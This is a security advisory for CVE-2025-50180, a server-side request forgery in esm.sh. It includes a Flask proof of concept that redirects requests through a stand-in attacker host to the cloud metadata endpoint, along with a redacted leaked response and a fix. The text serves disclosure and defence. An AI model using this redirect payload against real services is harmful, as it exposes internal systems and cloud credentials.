Description

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location:

if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") {

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/test.md')
def redirect_test():
    return redirect("http://169.254.169.254/v1.json", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

`,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

return &FetchClient{Client: &http.Client{}}

CVE ID

CVE-2025-50180

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.
